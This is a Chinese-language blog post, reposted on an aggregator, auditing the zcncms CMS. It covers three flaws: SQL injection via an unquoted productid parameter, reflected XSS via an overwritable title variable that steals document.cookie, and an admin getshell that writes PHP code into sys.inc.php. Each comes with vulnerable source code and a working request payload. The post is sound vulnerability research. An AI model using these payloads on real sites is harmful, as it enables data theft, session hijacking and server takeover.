IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    代码审计——zcncms几处漏洞合集(二)

    没穿底裤发表于 2016-08-24 16:14:12
    love 0

    from:小黑屋

    继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,

    switch($a)
     {
     case 'list':default://list
     //列表
     if (empty($productid)) {
     $where = ' 1 = 1 ';
     } else {
     $where = " productid = '".$productid."' ";
     }
    
    $pageListNum=12;//每页显示
     $totalPage=0;//总页数
     ----------------------------------------------------------------------
     case 'edit'://
     if(isset($submit)){
     $info = array();
     $time = time();
     if(isset($id)){
     $id = intval($id);
     if($id <= 0){
     errorinfo('变量错误','');
     }
     $infoold = $products_photo->GetInfo('',' id = '.$id);
     }
    
    $productinfo = $products->GetInfo('',' id = '.$productid);
     //20120719
     checkClassPower('products',$productinfo['classid']);

    当 $a的值为’list’时,$where = ” productid = ‘”.$productid.”‘ “, $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo(”,’ id = ‘.$productid),$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:

    http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&amp;a=edit&amp;id=7
     POST:
     submit=&amp;productid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

    1

    反射型xss

    在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.

    header("location:./");
     exit;
     } else {
     //echo 1;
     $loginerror = '用户名密码错误,请重新登陆.';
     $templatefile = 'login.tpl.php';
     }
     } else {
     $templatefile = 'login.tpl.php';
     }

    跟踪到/admin/templates/default/login.tpl.php

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
     <title>
     <?php if(!empty($topTitle)) echo $topTitle.'-';?>
     <?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title>
     <meta name="keywords" content="<?php echo $sys['webkeywords']; ?>">
     <meta name="description" content="<?php echo $sys['webdescription']; ?>">

    在<title>标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。

    http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script><script type="mce-no/type">// <![CDATA[ alert(document.cookie) // ]]></script>

    2

    后台getshell

    在文件/include/admincontroller/sys.php中

    $pagetitle = '基本信息';
     $pagepower = 'sys';
     //基本部分
     require('checkpower.inc.php');
     //功能部分
     include_once(WEB_INC.'file.class.php');
     include_once(WEB_INC.'string.class.php');
     if(isset($submit)){
     $FS = new files();
     $STR = new C_STRING();
     $info = array(
     'isclose' => $isclose,
     'closeinfo' => $closeinfo,
     'webtitle' => $webtitle,
     'indextitle' => $indextitle,
     'webkeywords' => $webkeywords,
     'webdescription' => $webdescription,
     'webcopyright' => $webcopyright,
     'webbeian' => $webbeian,
     'systemplates' => $systemplates,
     'linkurlmode' => $linkurlmode,
     );
     $rs_msg = $STR->safe($info);
     if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
     errorInfo('编辑成功');
     } else {
     errorInfo();

    可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);但是$info经过了safe函数,我们跟踪safe函数

    function safe($msg)
     {
     if(!$msg && $msg != '0')
     {
     return false;
     }
     if(is_array($msg))
     {
     foreach($msg AS $key=>$value)
     {
     $msg[$key] = $this->safe($value);
     }
     }
     else
     {
     $msg = trim($msg);
     //$old = array("&amp;","&nbsp;","'",'"',"\t","\r");
     //$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ","");
     $old = array("&amp;","&nbsp;","'",'"',"\t");
     $new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ");
     $msg = str_replace($old,$new,$msg);
     $msg = str_replace("&nbsp;&nbsp; ","&nbsp; &nbsp;",$msg);
     $old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
     $new = array("","","","","","");
     $msg = preg_replace($old,$new,$msg);
     }
     return $msg;

    safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php

    <?php
     $sys["isclose"] = '0';
     $sys["closeinfo"] = 'comming soon';
     $sys["webtitle"] = 'ZCNCMS';
     $sys["indextitle"] = 'ZCNCMS专注内容';
     $sys["webkeywords"] = 'ZCNCMS专注内容';
     $sys["webdescription"] = 'ZCNCMS专注内容';
     $sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS';
     $sys["webbeian"] = 'ZCNCMS专注内容';
     $sys["systemplates"] = 'default';
     $sys["linkurlmode"] = '0';
    
    ?>

    我们继续跟踪sys.php中的写函数,file_Write()->_write()

    //写入信息
     function _write($content,$file,$type="wb")
     {
     global $system_time;
     $content = stripslashes($content);
     $handle = $this->_open($file,$type);
     @fwrite($handle,$content);
     unset($content);
     $this->close($handle);
     //设置文件创建的时间
     $system_time = $system_time ? $system_time : time();
     @touch($file,$system_time);
     return true;
     }

    发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
    我们呢可以这样构造

    http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys
     POST:
     isclose=0&amp;closeinfo=1\&amp;webtitle=;phpinfo();//&amp;indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&amp;webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&amp;linkurlmode=0&amp;systemplates=default&amp;submit=%E7%BC%96%E8%BE%91

    将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下

    3

    成功getshell

    4



沪ICP备19023445号-2号
友情链接